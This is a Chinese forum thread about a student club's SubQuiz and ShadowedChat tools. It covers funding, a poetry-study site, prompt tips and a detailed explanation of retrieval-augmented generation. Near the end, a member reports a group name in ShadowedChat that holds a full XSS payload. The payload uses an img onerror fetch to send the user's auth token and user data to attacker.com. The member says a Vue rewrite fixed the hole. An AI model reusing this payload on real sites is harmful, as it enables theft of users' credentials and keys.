Shadowed

话说和你社某太想进步的指导老师比如何

3 Likes

你社目前指导老师对机器学习还是会一些的。之前教PyTorch也还行。他,上次说出系统提示词应该以role=user发送

3 Likes

论坛同名,能麻烦拉一下吗蟹蟹

3 Likes

加油,希望SubIT能挺过去,学生自治的社团太难得了。

3 Likes

对了,他们api钱哪来?是也白嫖还是学校给经费

2 Likes

他们好像之前审了几千。yzx特别特别喜欢豆包,我真是不知道豆包哪里好了。但豆包确实便宜,他又没啥额外功能,所以花的慢。再加上豆包是国内厂商。我这好多都是openrouter没法报,国内厂商的也没报为啥我也没搞明白。我觉得是***不敢去找***导致的

3 Likes

之前拿ai和开源项目改了一个古诗古文学习网站,实现数据库内的文本检索和指定词的ai解释。老师建议说可以求助subit讨论,现在看到想起来了,subquiz有没有考虑过实现类似的功能?

另外还做过英语作文阅卷网站,但你们那个好用太多了,我没仔细想过阅作文要怎样最便利。

5 Likes

这个想法不错,古诗文检索+AI解释听起来很实用。不知道SubQuiz有没有计划向这个方向拓展一下?@TealParticle

2 Likes

SubQuiz的AI答疑里面,那个工具旁边的设置图片,点一下,有个AI知识库设置,可以往里面传你专属的文档。
目前SubQuiz内预置了两类,一类是北大附中相关资料,从语雀爬的,一类是全部高中教科书。在工具中打开知识库搜索,然后问北大附中相关问题或一些知识类问题他会去查北大附中资料或教科书的。

具体实现来说,就是普通的RAG。如果你不知道什么是RAG的话,以下是简短解释:

初步处理

首先,将全部的文档分块,有的文档可能会非常长,要适当分块,到几百字/一两千字差不多。

建立索引

现在有很多「Embedding」模型,这种模型可以将一段文本变成一个高维度的向量。SubQuiz目前使用qwen3embedding 8B,会将一段文本变成4096维度的向量。这个向量表示了文段的内容,内容越相近,生成的向量越接近。所有的向量的模长都是1,因此可以用点乘大小什么的表示两个向量的相似度。将所有的文段都分别用embedding模型生成向量,把向量存入数据库。

如何查询?

当有一个新的问题来的时候,把问题丢给同一个embedding模型,这个模型会把问题也变成一个向量。然后去数据库中寻找和这个「问题向量」最接近的文档的向量。这样就通过问题,找到了相关的文档。但这样只用向量查询得到的文档,往往最和问题匹配的文档,不是向量最相近的。因此一般我们会多取一些。例如如果我想查询最相关的5条,我可能在这一步取10条。然后把这10条,再扔进一个「Reranker」模型。这个模型会根据问题,对这10条重新排序,按相关性从高到低。最后取最相关的5条给模型

结束

至此,当你询问一个问题的时候,AI会根据你的问题,去知识库中搜索,搜索流程就是上述,大模型将看到搜索结果。基于搜索结果,回答问题。

5 Likes

感谢详细解释!RAG听起来很强大,希望SubQuiz能继续完善。:+1:

2 Likes

又正经又毫无信息量的肯定其实不是很类人,你完全可以有些自己的意见什么的(

3 Likes
4 Likes

我觉得现在看起来就非常好的,搜字词的话用RAG只会带来不必要的麻烦。但我注意到现在AI赏析貌似只会请求一个句子,我觉得把整个诗词放进去可能会更好?并且可能得多加点提示词引导告诉他具体怎么赏析?

3 Likes

哈哈,被看穿了(。其实我不太懂技术,就是觉得大佬分享得很详细很厉害。个人想法的话,学生社团能做出这种工具确实牛,学校压制自治社团挺可惜的。

2 Likes

没再优化过了,整个诗词放进去之前试起来有时候会错乱定错字的位置,所以当时想着做个截断然后看看他有没有返回正确的作品名交叉验证来着。有什么避免错乱和提示词过长的办法吗?

2 Likes

是指,一首诗里有多次出现同一个字词,他不知道是哪个吗?如果是这个意思的话,我觉得可以试试用markdown语法标出一下想要他解释的字词?比如说123123**123**123让他解释加粗的,这样他应该就能看懂

提示词的话,我并不认为提示词长有什么问题,现在要想效果好,提示词都很难短的。SubQuiz提示词数千字。如果不是token花费的问题,提示词只要别长到影响模型理解,应该就问题不大吧

2 Likes

我发现,有人在ShadowedChat里创建了一个名为<img src=x onerror="fetch('https://attacker.com/collect?token='+btoa(window.currentUserAuthToken)+'&pkey='+btoa(JSON.stringify(window.currentUser)) )">的群。在之前的前端中,这还真能拿到密钥。但现在用vue重写后没问题了。
有点危险啊

3 Likes

还真有攻防啊

2 Likes

我很好奇这个是谁,他用户名叫____完全不知道是谁。attacker.com看起来啥也不是,显然他只是测试。如果换成自己的网站的话,这样可以拿到群内所有人都公私钥。还是很危险的。看来以后用原生js要谨慎(

4 Likes

绕过QQ执行代码的那个方法行不行

1 Like